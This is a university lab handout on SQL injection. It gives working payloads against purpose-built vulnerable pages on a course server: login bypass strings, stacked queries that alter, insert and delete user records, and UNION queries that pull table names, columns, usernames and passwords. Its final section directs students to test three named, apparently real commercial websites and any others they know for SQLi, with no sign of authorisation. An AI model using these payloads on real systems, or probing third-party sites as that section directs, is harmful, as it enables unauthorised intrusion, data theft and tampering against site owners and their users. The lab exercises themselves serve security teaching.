USTH-BS3 – Web Security -Lab 01 (1,5 hours)

A. Lecture revision

- SQLi vulnerabilities in web applications and causes
- SQLi techniques (to bypass authentication, to modify/delete/insert data, to steal/extract data and to take control of the system).
- Defensive measures
  + Data filtering measures
  + Use of stored procs
  + Access privilege management

B. Lab Requirments

Take screenshots of results at every step of the lab and paste into an word file. Save the file to disk and present your lab report to the lecturer at the end of the lab section.

C. Lab 01 Content

1. To bypass authentication

- Open the test page: http://attt.ptit.edu.vn:81/code/login_error.asp
- Carefully review the source code at: http://attt.ptit.edu.vn:81/code/login_error.txt
- Bypass user authenticatio without username or password:
  + Enter *aaaa' or 2=2 --* or *bbbb' or 2<>1 --* to username box and any string into password box, click Log In → Can log in without username and the password.
  + Enter *dauhx' --* or *david' --* to username box and any string into password box, click Log In → Can log in into the user's account without the password.

2. To modify/delete/insert data

- Open the test page: http://attt.ptit.edu.vn:81/code/search_error.asp
- Carefully review the source code at: http://attt.ptit.edu.vn:81/code/search_error.txt
- Enter the following inputs to modify/delete/insert data:
  + samsung'; update tbl_users set password='test' where username='david'; --
  + samsung'; insert into tbl_users (full_name, username, password) values ('Tom Cruise','tom','abc123'); --
  + samsung'; delete from tbl_users where username = 'tom';--

3. To steal/extract data

- Open the test page: http://attt.ptit.edu.vn:81/code/search_error.asp
- Find the number of fields in the original query. Either enter one of the following inputs:
  + sam%' order by <number>; -- , where <number> is the ordered number of the field. Try to enter 1, 2, 3 for <number> until the page is not working (error 500 – Internal server error). The correct number of fields is the <number> that is working just before the 500 error.
  + sam%' union select <list of fields>;-- , where <list of fields> may be 1, 2, 3,… or '1', '2', '3',… Expand the list until the page is working, in which <list of fields> gives the correct number of fields.
- Display information about DBMS and the server operating system:
  ssss' union select ' ', @@version, 0 --
- Extract list of user tables from database:
  ssss' union select '', name, 0 from sys.objects where type='u'; --

- Extract list of fields of a user table: ssss' union select '', a.name, 0 from sys.columns a inner join sys.objects b on a.object_id = b.object_id where b.name = 'tbl_users'; --
- Extract list of fields of all user tables: ssss' union select b.name, a.name, 0 from sys.columns a inner join sys.objects b on a.object_id = b.object_id where b.type = 'u'; --
- Extract data from a table:
  + Extract all records of tbl_users: ssss' union select full_name, username+'--'+password, 0 from tbl_users;--
  + Change the information to extract records of tbl_products and tbl_administrators tables.
  + Note: if the number of fields of the injected query is more than that of the original query, we need to join some fields of the injected query to make the number of fields of both queries are the same. In addition, each pair of fields in the two field lists must be compatible in data type.

4. Practice exercises

Provide the inputs in order to extract data as the following requirements:

- Insert a new record into tbl_administrors table of the username and password of your choice
  Insert a new record into tbl_products table of the information of your choice
- Extract information from tbl_users table and display them using the following format:

No	Product Name	Product Description	Product Cost (USD)
1	Dau Hoang	dauhx--1234--1001	
2	David Smith	david--234-1002	

<full_name> <username>--<password>--<account_id>

5. Investigate SQLi vulnerability on the Internet

- Check the following websites for SQLi vulnerabilities:
  + http://www.nhuaphucthinh.com.vn
  + http://tapiocafeedfood.com
  + http://www.nesiyaholidays.com
- Check SQLi vulnerabilities on other websites you know.